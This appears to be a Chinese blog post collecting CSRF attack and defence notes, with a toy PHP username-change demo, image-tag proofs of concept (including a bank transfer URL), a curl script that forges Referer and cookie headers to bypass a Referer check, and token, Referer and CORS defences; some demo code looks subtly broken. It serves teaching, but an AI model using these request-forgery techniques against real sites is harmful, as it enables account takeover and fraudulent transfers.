应用安全-Web安全-CSRF攻防整理
原理
登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。
#csrfdemo.php
<?php
$data = json_decode(file_get_contents('data.json'), true); if($data['username']) { setcookie('uid', $data['id'], 0); echo "登录成功, {$data['username']}<br>"; }
6 ?>
7 <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>
#CSRFUpdate.php //exp
<?php
echo 'Change Username';
?>
<img src="../Update.php?uid=101&username=jsonp">
Update.php
<?php $str = file_get_contents('data.json');
$data = json_decode($str, true); empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
} ?>
#data.json
{"id":"101","username":"jsonp"}
Login CSRF
登录界面CSRF - 无 Token(有Reffer和Session构造失败)
验证
Burpsuite生成POC
利用
伪造发送邮件/发消息/盗取账号/购买商品/虚拟货币转账/修改用户资料/传播恶意文件
转账
GET请求来完成转账操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
网站B,它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
-》受害者点击
#新消息提醒的绑定邮箱CSRF未做过滤或者过滤不严,email验证链接存在逻辑问题。
结合这两点,可导致用户的私信、新评论、系统消息提醒等发送至攻击者邮箱
CSRF - 上传文件
防御
静态语言
使用Hash加密cookie中csrf_token值
动态语言
使用Synchronizer Tokens
在表单里隐藏一个随机变化的 csrf_token csrf_token 提交到后台进行验证,如果验证通过则可以继续执行操作
Referer字段(同源)
#Update.php
<?php
if(!empty($_SERVER['HTTP_REFERER'])) {
if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'csrfdemo.php') {
echo "非法请求";
exit();
}
}
$str = file_get_contents('data.json');
$data = json_decode($str, true); empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
} ?>
Referer字段(同源)-绕过
//curl构造Referer头
<?php
function curl_post($url){
$refer = 'csrfdemo.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIE, 'uid=101');
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
// echo 'Change Username';
var_dump(curl_post("../Update.php?uid=101&username=jsonp445"));
?>
<img src="../Update.php?uid=101&username=jsonp445">
通过csrf_token csrf_token 进行验证(session+token)
绕过:session劫持+token劫持
使用CORS
应用安全-Web安全-CSRF攻防整理的更多相关文章
- .NET Web开发技术简单整理
在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...
- 转载:.NET Web开发技术简单整理
在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...
- Web API CSRF保护实现
Web API CSRF保护实现 这次自己实现了类似jQuery中ajax调用的方法,并且针对RESTFul进行了改造和集成,实现的A2D AJAX接口如下: $.ajax.RESTFulGetCol ...
- .NET Web开发技术简单整理 转
.NET Web开发技术简单整理 原文:http://www.cnblogs.com/SanMaoSpace/p/3157293.html 在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何 ...
- web安全问题-csrf
web安全问题 csrf <script> document.write(` <form name="commentForm" target="csrf ...
- Web安全之CSRF漏洞整理总结
这两天整理和编写了csrf的靶场,顺便也复习了以前学习csrf的点,这里记录下学习的总结点. 0x01 关于CSRF 跨站请求伪造 CSRF(Cross-site request forgery)跨站 ...
- 应用安全-Web安全-XSS(跨站攻击)攻防整理
分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...
- 移动端 Web 开发前端知识整理
文章来源: http://www.restran.net/2015/05/14/mobile-web-front-end-collections/ 最近整理的移动端 Web 开发前端知识,不定期更新. ...
- 【web前端面试题整理06】成都第一弹,邂逅聚美优品
前言 上周四回了成都,休息了一下下,工作问题还是需要解决的,于是今天去面试了一下,现在面试回来了,我感觉还是可以整理一下心得. 这个面试题整理系列是为了以后前端方面的兄弟面试时候可以得到一点点帮助,因 ...
随机推荐
- 375-基于TI DSP TMS320C6657、XC7K325T的高速数据处理核心板
基于TI DSP TMS320C6657.XC7K325T的高速数据处理核心板 一.板卡概述 该DSP+FPGA高速信号采集处理板由我公司自主研发,包含一片TI DSP TMS320C6657和 ...
- PAT Advanced 1002 A+B for Polynomials (25 分)(隐藏条件,多项式的系数不能为0)
This time, you are supposed to find A+B where A and B are two polynomials. Input Specification: Each ...
- C#基础知识之父子类,实例、静态成员变量,构造函数的执行顺序(经典示例)
父子类.示例.静态成员变量.构造函数的概念的基础理解完全可以利用下面的示例诠释,非常经典,直接上代码: public class ShowInfo { public ShowInfo(string i ...
- 第二组_学生会管理系统_APP端个人感想
一:相关链接 1.相关源码链接: 1.学生会管理系统APP端:Code 2.学生会管理系统WEB端:Code 3.学生会管理系统后台:COde 2.相关文档和博客: 1.前期接口文档以及需求文档Doc ...
- Github使用进阶
1 Github常用词: watch:会持续收到该项目的动态 fork:复制某个项目到自己的Github仓库中 star:可以理解为点赞 clone:将项目下载至本地 follow:关注你感兴趣的作者 ...
- python如何调用c编译好可执行程序
python如何调用c编译好可执行程序 以下总结出几种在Python 中调用 C/C++ 代码的方法 ------------------------------------------- ...
- margin与padding的区别是什么?
margin与padding的区别是什么? 目录 1.背景介绍 2.知识剖析 3.常见问题 4.解决方案 5.编码实战 6.扩展思考 7.参考文献 8.更多讨论 1.背景介绍 什么是margin 什么 ...
- kafka完全分布式搭建(2.12版)
1.下载解压 tar -xvf kafka_2.12-1.0.0.tgz 2.进入config目录下,修改server.propeties文件 broker.id=0 #当前server编号 port ...
- hbase完全分布式搭建
1.解压缩hbase的软件包,使用命令: tar -zxvf hbase-1.3.0-bin.tar.gz 2.进入hbase的配置目录,在hbase-env.sh文件里面加入java环境变量.即: ...
- LeetCode--146--LRU缓存机制(python)
运用你所掌握的数据结构,设计和实现一个 LRU (最近最少使用) 缓存机制.它应该支持以下操作: 获取数据 get 和 写入数据 put . 获取数据 get(key) - 如果密钥 (key) 存 ...